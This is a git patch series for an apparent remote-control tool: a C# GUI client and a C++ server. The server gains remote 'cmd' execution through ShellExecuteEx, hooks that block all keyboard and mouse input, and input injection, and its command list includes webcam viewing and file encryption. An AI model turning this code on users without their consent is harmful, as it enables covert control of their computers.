From 00dce69fb0b73e5864e93b48e7892c26a788cb3b Mon Sep 17 00:00:00 2001 From: Aleksei Date: Wed, 17 Oct 2018 22:00:27 +0300 Subject: [PATCH 1/3] patched Parsing ip/port with regexp fixed ends without dtor of m_client New visual effects --- VS17/Client GUI/InitProgramForm.Designer.cs | 56 +++++++++------------ VS17/Client GUI/InitProgramForm.cs | 52 ++++++++----------- VS17/Client GUI/Program.cs | 18 ++++--- 3 files changed, 56 insertions(+), 70 deletions(-) diff --git a/VS17/Client GUI/InitProgramForm.Designer.cs b/VS17/Client GUI/InitProgramForm.Designer.cs index 8686e17..8256213 100644 --- a/VS17/Client GUI/InitProgramForm.Designer.cs +++ b/VS17/Client GUI/InitProgramForm.Designer.cs @@ -28,74 +28,68 @@ protected override void Dispose(bool disposing) /// private void InitializeComponent() { - this.ip_maskedTextBox = new System.Windows.Forms.MaskedTextBox(); this.label1 = new System.Windows.Forms.Label(); this.confirm_button = new System.Windows.Forms.Button(); this.ip_port_label = new System.Windows.Forms.Label(); - this.port_maskedTextBox = new System.Windows.Forms.MaskedTextBox(); + this.ip_port_textBox = new System.Windows.Forms.TextBox(); this.SuspendLayout(); // - // ip_maskedTextBox - // - this.ip_maskedTextBox.Location = new System.Drawing.Point(118, 79); - this.ip_maskedTextBox.Mask = "###.###.###.###"; - this.ip_maskedTextBox.Name = "ip_maskedTextBox"; - this.ip_maskedTextBox.Size = new System.Drawing.Size(93, 20); - this.ip_maskedTextBox.TabIndex = 0; - this.ip_maskedTextBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; - this.ip_maskedTextBox.TextChanged += new System.EventHandler(this.maskedTextBox1_TextChanged); - // // label1 // this.label1.AutoSize = true; - this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 26.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(204))); + this.label1.Font = new System.Drawing.Font("Consolas", 20.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(204))); this.label1.Location = new System.Drawing.Point(14, 9); this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(378, 39); + this.label1.Size = new System.Drawing.Size(375, 32); this.label1.TabIndex = 1; this.label1.Text = "Enter server ip and port"; this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; // // confirm_button // + this.confirm_button.BackColor = System.Drawing.Color.Lime; + this.confirm_button.Font = new System.Drawing.Font("Consolas", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(204))); this.confirm_button.Location = new System.Drawing.Point(81, 155); this.confirm_button.Name = "confirm_button"; this.confirm_button.Size = new System.Drawing.Size(233, 23); this.confirm_button.TabIndex = 2; this.confirm_button.Text = "Confirm"; - this.confirm_button.UseVisualStyleBackColor = true; + this.confirm_button.UseVisualStyleBackColor = false; this.confirm_button.Click += new System.EventHandler(this.confirm_button_Click); // // ip_port_label // this.ip_port_label.AutoSize = true; - this.ip_port_label.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(204))); - this.ip_port_label.Location = new System.Drawing.Point(124, 107); + this.ip_port_label.Font = new System.Drawing.Font("Consolas", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(204))); + this.ip_port_label.Location = new System.Drawing.Point(81, 121); + this.ip_port_label.MinimumSize = new System.Drawing.Size(233, 0); this.ip_port_label.Name = "ip_port_label"; - this.ip_port_label.Size = new System.Drawing.Size(0, 20); + this.ip_port_label.Size = new System.Drawing.Size(233, 22); this.ip_port_label.TabIndex = 4; + this.ip_port_label.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; // - // port_maskedTextBox + // ip_port_textBox // - this.port_maskedTextBox.Location = new System.Drawing.Point(210, 79); - this.port_maskedTextBox.Mask = "#####"; - this.port_maskedTextBox.Name = "port_maskedTextBox"; - this.port_maskedTextBox.Size = new System.Drawing.Size(40, 20); - this.port_maskedTextBox.TabIndex = 5; - this.port_maskedTextBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; - this.port_maskedTextBox.ValidatingType = typeof(int); - this.port_maskedTextBox.TextChanged += new System.EventHandler(this.port_maskedTextBox_TextChanged); + this.ip_port_textBox.Font = new System.Drawing.Font("Consolas", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(204))); + this.ip_port_textBox.Location = new System.Drawing.Point(81, 74); + this.ip_port_textBox.MaxLength = 21; + this.ip_port_textBox.Name = "ip_port_textBox"; + this.ip_port_textBox.Size = new System.Drawing.Size(233, 30); + this.ip_port_textBox.TabIndex = 6; + this.ip_port_textBox.Text = "127.0.0.1:20000"; + this.ip_port_textBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; + this.ip_port_textBox.TextChanged += new System.EventHandler(this.ip_port_textBox_TextChanged); // // InitProgramForm // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.SystemColors.ActiveCaption; this.ClientSize = new System.Drawing.Size(400, 195); - this.Controls.Add(this.port_maskedTextBox); + this.Controls.Add(this.ip_port_textBox); this.Controls.Add(this.ip_port_label); this.Controls.Add(this.confirm_button); this.Controls.Add(this.label1); - this.Controls.Add(this.ip_maskedTextBox); this.Name = "InitProgramForm"; this.Text = "InitProgramForm"; this.Load += new System.EventHandler(this.InitProgramForm_Load); @@ -105,11 +99,9 @@ private void InitializeComponent() } #endregion - - private System.Windows.Forms.MaskedTextBox ip_maskedTextBox; private System.Windows.Forms.Label label1; private System.Windows.Forms.Button confirm_button; private System.Windows.Forms.Label ip_port_label; - private System.Windows.Forms.MaskedTextBox port_maskedTextBox; + private System.Windows.Forms.TextBox ip_port_textBox; } } \ No newline at end of file diff --git a/VS17/Client GUI/InitProgramForm.cs b/VS17/Client GUI/InitProgramForm.cs index 17352f7..eb739b4 100644 --- a/VS17/Client GUI/InitProgramForm.cs +++ b/VS17/Client GUI/InitProgramForm.cs @@ -9,16 +9,27 @@ using System.Windows.Forms; using System.Net; using System.IO; +using System.Text.RegularExpressions; namespace Client_GUI { public partial class InitProgramForm : Form { + public static readonly IPEndPoint BAD_IPENDPOINT = new IPEndPoint(IPAddress.Parse("0.0.0.0"), 0); + public IPEndPoint endpoint { get; set; } public InitProgramForm() { InitializeComponent(); + this.endpoint = BAD_IPENDPOINT; + } + + private bool CheckInput(string str) + { + Regex rgx = new Regex(@"\b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)[:](6553[0-5]|655[0-2][0-9]|65[0-4][0-9][0-9]|6[0-4][0-9][0-9][0-9]|[1-5][0-9][0-9][0-9][0-9]|[1-9][0-9][0-9][0-9]|[1-9][0-9][0-9]|[1-9][0-9]|[1-9]?)\b"); + + return rgx.IsMatch(str); } private void InitProgramForm_Load(object sender, EventArgs e) @@ -30,47 +41,26 @@ private void InitProgramForm_Load(object sender, EventArgs e) this.endpoint = new IPEndPoint(IPAddress.Parse(ip_port.First()), int.Parse(ip_port.Last())); this.Close(); - } - - ip_maskedTextBox.ValidatingType = typeof(System.Net.IPAddress); - ip_maskedTextBox.Text = "127.000.000.001"; - - port_maskedTextBox.ValidatingType = typeof(Int16); - port_maskedTextBox.Text = "20000"; - } - - private void maskedTextBox1_TextChanged(object sender, EventArgs e) - { - ip_port_label.Text = ip_maskedTextBox.Text + ":" + port_maskedTextBox.Text; + } } private void confirm_button_Click(object sender, EventArgs e) { - IPAddress ip; - if (IPAddress.TryParse(ip_maskedTextBox.Text, out ip)) - { - Int16 port; - if(Int16.TryParse(port_maskedTextBox.Text, out port)) - { - IPEndPoint endpoint = new IPEndPoint(ip, port); - File.WriteAllText("Connection.properties", endpoint.ToString()); - this.endpoint = endpoint; - this.Close(); - } - else - { - ip_port_label.Text = "Wrong port"; - } - } + if(!this.CheckInput(ip_port_textBox.Text)) + ip_port_label.Text = "Wrong input"; else { - ip_port_label.Text = "Wrong IP"; + File.WriteAllText("Connection.properties", ip_port_label.Text); + + string[] ip_port = ip_port_textBox.Text.Split(':'); + this.endpoint = new IPEndPoint(IPAddress.Parse(ip_port.First()), int.Parse(ip_port.Last())); + this.Close(); } } - private void port_maskedTextBox_TextChanged(object sender, EventArgs e) + private void ip_port_textBox_TextChanged(object sender, EventArgs e) { - ip_port_label.Text = ip_maskedTextBox.Text + ":" + port_maskedTextBox.Text; + ip_port_label.Text = ip_port_textBox.Text; } } } diff --git a/VS17/Client GUI/Program.cs b/VS17/Client GUI/Program.cs index 7ae2e56..66387a4 100644 --- a/VS17/Client GUI/Program.cs +++ b/VS17/Client GUI/Program.cs @@ -20,14 +20,18 @@ static void Main() InitProgramForm initProgramForm = new InitProgramForm(); Application.Run(initProgramForm); - mainWindowForm = new MainWindowForm(initProgramForm.endpoint); - Application.Run(mainWindowForm); - if (!mainWindowForm.reinit) - break; - } - + if (initProgramForm.endpoint != InitProgramForm.BAD_IPENDPOINT) + { + mainWindowForm = new MainWindowForm(initProgramForm.endpoint); + Application.Run(mainWindowForm); + mainWindowForm.Dispose(); - mainWindowForm.Dispose(); + if (!mainWindowForm.reinit) + break; + } + else + break; + } } } } From 36195aca0b13c5eabf0a9c7b03918bcea34d78eb Mon Sep 17 00:00:00 2001 From: Aleksei Date: Thu, 18 Oct 2018 02:35:29 +0300 Subject: [PATCH 2/3] Released some functions keyboard on/off, mouse on/off, block input on/off, cmd --- VS17/Server/Server.vcxproj | 1 + VS17/Server/Server.vcxproj.filters | 3 + src/Server/CommandProperties.cpp | 142 +++++++++++++++++++++++++++-- src/Server/CommandProperties.hpp | 21 +++-- 4 files changed, 152 insertions(+), 15 deletions(-) diff --git a/VS17/Server/Server.vcxproj b/VS17/Server/Server.vcxproj index 4c2f5cf..b2f2a99 100644 --- a/VS17/Server/Server.vcxproj +++ b/VS17/Server/Server.vcxproj @@ -165,6 +165,7 @@ + diff --git a/VS17/Server/Server.vcxproj.filters b/VS17/Server/Server.vcxproj.filters index eea0f01..b739d9f 100644 --- a/VS17/Server/Server.vcxproj.filters +++ b/VS17/Server/Server.vcxproj.filters @@ -75,6 +75,9 @@ Header Files\Network + + Header Files\Commands + diff --git a/src/Server/CommandProperties.cpp b/src/Server/CommandProperties.cpp index 5b7921a..278e325 100644 --- a/src/Server/CommandProperties.cpp +++ b/src/Server/CommandProperties.cpp @@ -4,10 +4,85 @@ const std::array(Commands::NUMBER_OF_COMMANDS)> COMMAND_PROPERTIES { { - { std::make_tuple(Commands::MESSAGEBOX, "message"), _onCmd_MESSAGEBOX }, - { std::make_tuple(Commands::MOUSECTRL, "mouse"), _onCmd_MOUSECTRL } + { std::make_tuple(Commands::MESSAGEBOX, "message"), _onCmd_MESSAGEBOX }, + { std::make_tuple(Commands::KEYBOARDCTRL_ON, "kbon"), _onCmd_KEYBOARDCTRL_ON }, + { std::make_tuple(Commands::KEYBOARDCTRL_OFF, "kboff"), _onCmd_KEYBOARDCTRL_OFF }, + { std::make_tuple(Commands::MOUSECTRL_ON, "mon"), _onCmd_MOUSECTRL_ON }, + { std::make_tuple(Commands::MOUSECTRL_OFF, "moff"), _onCmd_MOUSECTRL_OFF }, + { std::make_tuple(Commands::EXECUTECMD, "cmd"), _onCmd_EXECUTECMD }, + { std::make_tuple(Commands::BLOCKINPUT_ON, "bion"), _onCmd_BLOCKINPUT_ON }, + { std::make_tuple(Commands::BLOCKINPUT_OFF, "bioff"), _onCmd_BLOCKINPUT_OFF } } }; +namespace detail +{ + namespace hooks + { + namespace data + { + static HHOOK mouseHook; + static HHOOK keyboardHook; + } + + LRESULT CALLBACK LowLevelMouseProc(_In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam) + { + if (nCode == HC_ACTION) + return (-1); + + return CallNextHookEx(data::mouseHook, nCode, wParam, lParam); + } + + LRESULT CALLBACK LowLevelKeyboardProc(_In_ int nCode, _In_ WPARAM wParam, _In_ LPARAM lParam) + { + if (nCode == HC_ACTION) + return (-1); + + return CallNextHookEx(data::keyboardHook, nCode, wParam, lParam); + } + } // namespace hooks + + namespace emulator + { + constexpr size_t DELAY = 100; + + bool SendMouseInput(DWORD button) + { + INPUT input = { INPUT_MOUSE }; + input.mi.dwFlags = button; + + if (SendInput(1, &input, sizeof(INPUT)) != 1) + return false; + + SleepEx(DELAY, FALSE); + + input.mi.dwFlags = (button <<= 1); + if (SendInput(1, &input, sizeof(INPUT)) != 1) + return false; + + return true; + } + + bool SendKeyboardInput(UINT key) + { + INPUT input = { INPUT_KEYBOARD }; + input.ki.wScan = MapVirtualKey(key, MAPVK_VK_TO_VSC); + input.ki.wVk = key; + + if (SendInput(1, &input, sizeof(INPUT)) != 1) + return false; + + SleepEx(DELAY, FALSE); + + input.ki.dwFlags = KEYEVENTF_KEYUP; + if (SendInput(1, &input, sizeof(INPUT)) != 1) + return false; + + return true; + } + } // namespace emulator +} // namespace detail +#pragma region Functions + bool _onCmd_MESSAGEBOX(const std::vector &args) { if(args.size() != 1ull) @@ -16,14 +91,65 @@ bool _onCmd_MESSAGEBOX(const std::vector &args) return (MessageBoxA(nullptr, args[0].c_str(), "MESSAGE", MB_ICONERROR | MB_OK | MB_SYSTEMMODAL) != 0); } -bool _onCmd_MOUSECTRL(const std::vector &args) +bool _onCmd_KEYBOARDCTRL_ON(const std::vector &args) { - if (args.size() != 1ull) - return false; + if (!detail::hooks::data::keyboardHook) + detail::hooks::data::keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, detail::hooks::LowLevelKeyboardProc, nullptr, 0ul); + + if (UINT key{}; sscanf_s(args[0].c_str(), "%u", &key)) + return detail::emulator::SendKeyboardInput(key); - int x{}, - y{}; - sscanf_s(args[0].c_str(), "%d %d", &x, &y); + return true; +} + +bool _onCmd_KEYBOARDCTRL_OFF(const std::vector&) +{ + return UnhookWindowsHookEx(detail::hooks::data::keyboardHook);; +} + +bool _onCmd_MOUSECTRL_ON(const std::vector &args) +{ + if(!detail::hooks::data::mouseHook) + detail::hooks::data::mouseHook = SetWindowsHookEx(WH_MOUSE_LL, detail::hooks::LowLevelMouseProc, nullptr, 0ul); + + int x{}, + y{}; + DWORD button{}; + if (sscanf_s(args[0].c_str(), "%d %d %u", &x, &y, &button) == 3 && !detail::emulator::SendMouseInput(button)) + return false; return SetCursorPos(x, y); } + +bool _onCmd_MOUSECTRL_OFF(const std::vector&) +{ + return UnhookWindowsHookEx(detail::hooks::data::mouseHook); +} + +bool _onCmd_EXECUTECMD(const std::vector &args) +{ + std::string params; + for (auto &&arg : args) + params += arg; + + SHELLEXECUTEINFO sei = { sizeof(SHELLEXECUTEINFO) }; + sei.fMask = SEE_MASK_ASYNCOK | SEE_MASK_NO_CONSOLE; + sei.lpVerb = TEXT("open"); + sei.lpFile = TEXT("cmd"); + sei.lpParameters = params.c_str(); + sei.nShow = SW_SHOW; + + return ShellExecuteEx(&sei); +} + +bool _onCmd_BLOCKINPUT_ON(const std::vector&) +{ + return BlockInput(true); +} + +bool _onCmd_BLOCKINPUT_OFF(const std::vector&) +{ + return BlockInput(false); +} + +#pragma endregion \ No newline at end of file diff --git a/src/Server/CommandProperties.hpp b/src/Server/CommandProperties.hpp index d7e65d0..0fb7a22 100644 --- a/src/Server/CommandProperties.hpp +++ b/src/Server/CommandProperties.hpp @@ -12,15 +12,19 @@ enum class Commands : size_t VIEWDESKTOP_STOP, VIEWWEBCAM_START, VIEWWEBCAM_STOP, - KEYBOARDCTRL, - MOUSECTRL, + KEYBOARDCTRL_ON, + KEYBOARDCTRL_OFF, + MOUSECTRL_ON, + MOUSECTRL_OFF, EXECUTECMD, ENCRYPTFILE, DECRYPTFILE, IMPORTFILE, EXPORTFILE, - BLOCKINPUT, - PLAYSOUND, + BLOCKINPUT_ON, + BLOCKINPUT_OFF, + PLAYSOUND_START, + PLAYSOUND_STOP, NUMBER_OF_COMMANDS }; @@ -55,14 +59,17 @@ void _onCmd_VIEWDESKTOP_START(const std::vector &args, const std::b void _onCmd_VIEWDESKTOP_STOP (const std::vector &args, const std::bitset &bitset, size_t pos); void _onCmd_VIEWWEBCAM_START (const std::vector &args, const std::bitset &bitset, size_t pos); void _onCmd_VIEWWEBCAM_STOP (const std::vector &args, const std::bitset &bitset, size_t pos); -void _onCmd_KEYBOARDCTRL (const std::vector &args, const std::bitset &bitset, size_t pos); -bool _onCmd_MOUSECTRL (const std::vector &args); +bool _onCmd_KEYBOARDCTRL_ON (const std::vector &args); +bool _onCmd_KEYBOARDCTRL_OFF (const std::vector&); +bool _onCmd_MOUSECTRL_ON (const std::vector &args); +bool _onCmd_MOUSECTRL_OFF (const std::vector&); bool _onCmd_EXECUTECMD (const std::vector &args); bool _onCmd_ENCRYPTFILE (const std::vector &args); bool _onCmd_DECRYPTFILE (const std::vector &args); bool _onCmd_IMPORTFILE (const std::vector &args); bool _onCmd_EXPORTFILE (const std::vector &args); -bool _onCmd_BLOCKINPUT (const std::vector &args); +bool _onCmd_BLOCKINPUT_ON (const std::vector&); +bool _onCmd_BLOCKINPUT_OFF (const std::vector&); bool _onCmd_PLAYSOUND (const std::vector &args); #endif /* __COMMANDPROPERTIES_HPP_INCLUDED__ */ \ No newline at end of file From 04cfff8db8dcc3be03763a6fe4a4838db744600b Mon Sep 17 00:00:00 2001 From: Aleksei Date: Thu, 18 Oct 2018 02:36:19 +0300 Subject: [PATCH 3/3] Released some menu tool strips as in previous commit --- VS17/Client GUI/Client GUI.csproj | 12 +- .../InputForms/GetMessageForm.Designer.cs | 101 +++++++ VS17/Client GUI/InputForms/GetMessageForm.cs | 55 ++++ .../GetMessageForm.resx | 0 .../InitProgramForm.Designer.cs | 61 ++-- .../{ => InputForms}/InitProgramForm.cs | 66 ++-- .../{ => InputForms}/InitProgramForm.resx | 0 VS17/Client GUI/MainWindowForm.Designer.cs | 283 +++++++++--------- VS17/Client GUI/MainWindowForm.cs | 94 +++++- VS17/Client GUI/MainWindowForm.resx | 5 +- .../GetMessageForm.Designer.cs | 86 ------ .../MainWindowInputForms/GetMessageForm.cs | 34 --- VS17/Client GUI/NativeClient/NativeClient.cs | 63 ++-- VS17/Client GUI/Program.cs | 11 +- 14 files changed, 509 insertions(+), 362 deletions(-) create mode 100644 VS17/Client GUI/InputForms/GetMessageForm.Designer.cs create mode 100644 VS17/Client GUI/InputForms/GetMessageForm.cs rename VS17/Client GUI/{MainWindowInputForms => InputForms}/GetMessageForm.resx (100%) rename VS17/Client GUI/{ => InputForms}/InitProgramForm.Designer.cs (58%) rename VS17/Client GUI/{ => InputForms}/InitProgramForm.cs (50%) rename VS17/Client GUI/{ => InputForms}/InitProgramForm.resx (100%) delete mode 100644 VS17/Client GUI/MainWindowInputForms/GetMessageForm.Designer.cs delete mode 100644 VS17/Client GUI/MainWindowInputForms/GetMessageForm.cs diff --git a/VS17/Client GUI/Client GUI.csproj b/VS17/Client GUI/Client GUI.csproj index ffea71a..bcf65ef 100644 --- a/VS17/Client GUI/Client GUI.csproj +++ b/VS17/Client GUI/Client GUI.csproj @@ -66,10 +66,10 @@ - + Form - + InitProgramForm.cs @@ -78,22 +78,22 @@ MainWindowForm.cs - + Form - + GetMessageForm.cs - + InitProgramForm.cs MainWindowForm.cs - + GetMessageForm.cs diff --git a/VS17/Client GUI/InputForms/GetMessageForm.Designer.cs b/VS17/Client GUI/InputForms/GetMessageForm.Designer.cs new file mode 100644 index 0000000..1301ce4 --- /dev/null +++ b/VS17/Client GUI/InputForms/GetMessageForm.Designer.cs @@ -0,0 +1,101 @@ +namespace Client_GUI.MainWindowInputForms +{ + partial class GetMessageForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.sendButton = new System.Windows.Forms.Button(); + this.cancelButton = new System.Windows.Forms.Button(); + this.messageTextBox = new System.Windows.Forms.TextBox(); + this.SuspendLayout(); + // + // sendButton + // + this.sendButton.BackColor = System.Drawing.Color.Lime; + this.sendButton.Font = new System.Drawing.Font("Consolas", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(204))); + this.sendButton.Location = new System.Drawing.Point(21, 190); + this.sendButton.Name = "sendButton"; + this.sendButton.Size = new System.Drawing.Size(75, 23); + this.sendButton.TabIndex = 0; + this.sendButton.Text = "Send"; + this.sendButton.UseVisualStyleBackColor = false; + this.sendButton.Click += new System.EventHandler(this.sendButton_Click); + // + // cancelButton + // + this.cancelButton.BackColor = System.Drawing.Color.Red; + this.cancelButton.Font = new System.Drawing.Font("Consolas", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(204))); + this.cancelButton.Location = new System.Drawing.Point(114, 190); + this.cancelButton.Name = "cancelButton"; + this.cancelButton.Size = new System.Drawing.Size(75, 23); + this.cancelButton.TabIndex = 1; + this.cancelButton.Text = "Cancel"; + this.cancelButton.UseVisualStyleBackColor = false; + this.cancelButton.Click += new System.EventHandler(this.cancelButton_Click); + // + // messageTextBox + // + this.messageTextBox.Font = new System.Drawing.Font("Consolas", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(204))); + this.messageTextBox.Location = new System.Drawing.Point(12, 12); + this.messageTextBox.MaxLength = 128; + this.messageTextBox.Multiline = true; + this.messageTextBox.Name = "messageTextBox"; + this.messageTextBox.Size = new System.Drawing.Size(177, 147); + this.messageTextBox.TabIndex = 2; + // + // GetMessageForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.AutoValidate = System.Windows.Forms.AutoValidate.EnablePreventFocusChange; + this.BackColor = System.Drawing.Color.Yellow; + this.ClientSize = new System.Drawing.Size(201, 225); + this.Controls.Add(this.messageTextBox); + this.Controls.Add(this.cancelButton); + this.Controls.Add(this.sendButton); + this.Font = new System.Drawing.Font("Consolas", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(204))); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "GetMessageForm"; + this.ShowIcon = false; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Message"; + this.TopMost = true; + this.Load += new System.EventHandler(this.GetMessageForm_Load); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Button sendButton; + private System.Windows.Forms.Button cancelButton; + private System.Windows.Forms.TextBox messageTextBox; + } +} \ No newline at end of file diff --git a/VS17/Client GUI/InputForms/GetMessageForm.cs b/VS17/Client GUI/InputForms/GetMessageForm.cs new file mode 100644 index 0000000..10e93f4 --- /dev/null +++ b/VS17/Client GUI/InputForms/GetMessageForm.cs @@ -0,0 +1,55 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace Client_GUI.MainWindowInputForms +{ + public partial class GetMessageForm : Form + { + #region Properties + + public string Message { get; set; } + + #endregion + + #region Events + + private void GetMessageForm_Load(object sender, EventArgs e) + { + + } + + private void sendButton_Click(object sender, EventArgs e) + { + this.Message = messageTextBox.Text; + + this.Close(); + } + + private void cancelButton_Click(object sender, EventArgs e) + { + this.Message = string.Empty; + + this.Close(); + } + + #endregion + + #region Constructors + + public GetMessageForm() + { + this.Message = string.Empty; + + InitializeComponent(); + } + + #endregion + } +} diff --git a/VS17/Client GUI/MainWindowInputForms/GetMessageForm.resx b/VS17/Client GUI/InputForms/GetMessageForm.resx similarity index 100% rename from VS17/Client GUI/MainWindowInputForms/GetMessageForm.resx rename to VS17/Client GUI/InputForms/GetMessageForm.resx diff --git a/VS17/Client GUI/InitProgramForm.Designer.cs b/VS17/Client GUI/InputForms/InitProgramForm.Designer.cs similarity index 58% rename from VS17/Client GUI/InitProgramForm.Designer.cs rename to VS17/Client GUI/InputForms/InitProgramForm.Designer.cs index 8256213..fe0cefc 100644 --- a/VS17/Client GUI/InitProgramForm.Designer.cs +++ b/VS17/Client GUI/InputForms/InitProgramForm.Designer.cs @@ -29,9 +29,9 @@ protected override void Dispose(bool disposing) private void InitializeComponent() { this.label1 = new System.Windows.Forms.Label(); - this.confirm_button = new System.Windows.Forms.Button(); + this.confirmButton = new System.Windows.Forms.Button(); this.ip_port_label = new System.Windows.Forms.Label(); - this.ip_port_textBox = new System.Windows.Forms.TextBox(); + this.ipAndPortTextBox = new System.Windows.Forms.TextBox(); this.SuspendLayout(); // // label1 @@ -45,17 +45,17 @@ private void InitializeComponent() this.label1.Text = "Enter server ip and port"; this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; // - // confirm_button + // confirmButton // - this.confirm_button.BackColor = System.Drawing.Color.Lime; - this.confirm_button.Font = new System.Drawing.Font("Consolas", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(204))); - this.confirm_button.Location = new System.Drawing.Point(81, 155); - this.confirm_button.Name = "confirm_button"; - this.confirm_button.Size = new System.Drawing.Size(233, 23); - this.confirm_button.TabIndex = 2; - this.confirm_button.Text = "Confirm"; - this.confirm_button.UseVisualStyleBackColor = false; - this.confirm_button.Click += new System.EventHandler(this.confirm_button_Click); + this.confirmButton.BackColor = System.Drawing.Color.Lime; + this.confirmButton.Font = new System.Drawing.Font("Consolas", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(204))); + this.confirmButton.Location = new System.Drawing.Point(81, 155); + this.confirmButton.Name = "confirmButton"; + this.confirmButton.Size = new System.Drawing.Size(233, 23); + this.confirmButton.TabIndex = 2; + this.confirmButton.Text = "Confirm"; + this.confirmButton.UseVisualStyleBackColor = false; + this.confirmButton.Click += new System.EventHandler(this.confirmButton_Click); // // ip_port_label // @@ -68,30 +68,35 @@ private void InitializeComponent() this.ip_port_label.TabIndex = 4; this.ip_port_label.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; // - // ip_port_textBox + // ipAndPortTextBox // - this.ip_port_textBox.Font = new System.Drawing.Font("Consolas", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(204))); - this.ip_port_textBox.Location = new System.Drawing.Point(81, 74); - this.ip_port_textBox.MaxLength = 21; - this.ip_port_textBox.Name = "ip_port_textBox"; - this.ip_port_textBox.Size = new System.Drawing.Size(233, 30); - this.ip_port_textBox.TabIndex = 6; - this.ip_port_textBox.Text = "127.0.0.1:20000"; - this.ip_port_textBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; - this.ip_port_textBox.TextChanged += new System.EventHandler(this.ip_port_textBox_TextChanged); + this.ipAndPortTextBox.Font = new System.Drawing.Font("Consolas", 14.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(204))); + this.ipAndPortTextBox.Location = new System.Drawing.Point(81, 74); + this.ipAndPortTextBox.MaxLength = 21; + this.ipAndPortTextBox.Name = "ipAndPortTextBox"; + this.ipAndPortTextBox.Size = new System.Drawing.Size(233, 30); + this.ipAndPortTextBox.TabIndex = 6; + this.ipAndPortTextBox.Text = "127.0.0.1:20000"; + this.ipAndPortTextBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; + this.ipAndPortTextBox.Click += new System.EventHandler(this.ipAndPortTextBox_Click); // // InitProgramForm // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.BackColor = System.Drawing.SystemColors.ActiveCaption; + this.BackColor = System.Drawing.Color.Bisque; this.ClientSize = new System.Drawing.Size(400, 195); - this.Controls.Add(this.ip_port_textBox); + this.Controls.Add(this.ipAndPortTextBox); this.Controls.Add(this.ip_port_label); - this.Controls.Add(this.confirm_button); + this.Controls.Add(this.confirmButton); this.Controls.Add(this.label1); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.MaximizeBox = false; this.Name = "InitProgramForm"; - this.Text = "InitProgramForm"; + this.ShowIcon = false; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Initialization"; + this.TopMost = true; this.Load += new System.EventHandler(this.InitProgramForm_Load); this.ResumeLayout(false); this.PerformLayout(); @@ -100,8 +105,8 @@ private void InitializeComponent() #endregion private System.Windows.Forms.Label label1; - private System.Windows.Forms.Button confirm_button; + private System.Windows.Forms.Button confirmButton; private System.Windows.Forms.Label ip_port_label; - private System.Windows.Forms.TextBox ip_port_textBox; + private System.Windows.Forms.TextBox ipAndPortTextBox; } } \ No newline at end of file diff --git a/VS17/Client GUI/InitProgramForm.cs b/VS17/Client GUI/InputForms/InitProgramForm.cs similarity index 50% rename from VS17/Client GUI/InitProgramForm.cs rename to VS17/Client GUI/InputForms/InitProgramForm.cs index eb739b4..291f0e9 100644 --- a/VS17/Client GUI/InitProgramForm.cs +++ b/VS17/Client GUI/InputForms/InitProgramForm.cs @@ -15,16 +15,20 @@ namespace Client_GUI { public partial class InitProgramForm : Form { - public 